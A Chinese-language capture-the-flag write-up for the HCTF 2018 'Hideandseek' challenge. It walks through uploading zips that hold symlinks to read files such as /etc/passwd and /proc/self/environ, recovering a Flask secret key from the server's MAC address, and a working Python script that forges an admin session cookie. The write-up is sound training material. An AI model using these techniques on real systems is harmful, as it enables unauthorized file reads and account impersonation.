1. 程式人生 > 實用技巧 >BUUCTF-[HCTF 2018]Hideandseek wp

BUUCTF-[HCTF 2018]Hideandseek wp

知識點:軟連結任意檔案讀取、flask session偽造

最開始看到的是這個頁面,嘗試使用admin登入提示you are not admin,猜想是要通過某種方式使用admin登入獲取flag

使用123登入,發現需要上傳zip,上傳了一個1.txt的檔案,頁面會返回檔案裡的內容,這時猜想是否可以進行任意檔案讀取

使用ln -s /etc/passwd password,zip -y password.zip password生成一個裡面是軟連結的zip,用來讀取/etc/passwd檔案,發現可以讀取。

嘗試讀取flag檔案,發現沒有資料返回

讀取/proc/self/environ,獲取系統當前的環境變數資訊,整理之後如下

看了一下之後發現/app/uwsgi.ini這個配置檔案,上傳zip讀取一下

嘗試讀取app/main.py檔案,發現好像用處不大?

本來覺得要做不下去了,最後用burp抓包的時候不小心刪錯了東西,最後發現一個/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py檔案,感覺有問題,嘗試讀取一下,發現了可以獲得flag的原始碼

讀了一下原始碼之後發現是要偽造admin的session就可以獲得flag,並且在原始碼中找到了secret_key,發現它是用隨機數播種的形式設定的secret_key,種子為uuid.getnode(),是網絡卡mac地址的十進位制數,也就是說我們知道網絡卡的mac地址就可以偽造admin的session,於是我們構造軟連結讀取/sys/class/net/eth0/address

使用python指令碼將mac地址轉換成十進位制並且使用uuid.getnode()轉換為種子,最後偽造admin的session

指令碼:

import uuid
import random
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

mac = "02:42:ae:00:bf:3f"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for
i in temp] temp = ''.join(temp) mac = int(temp,2) random.seed(mac) randnum = str(random.random()*100) app = Flask(__name__) app.config['SECRET_KEY'] = str(randnum) payload = {'username': 'admin'} serializer = SecureCookieSessionInterface().get_signing_serializer(app) session = serializer.dumps(payload) print(session)

登入時使用hackbar新增session,即可獲得flag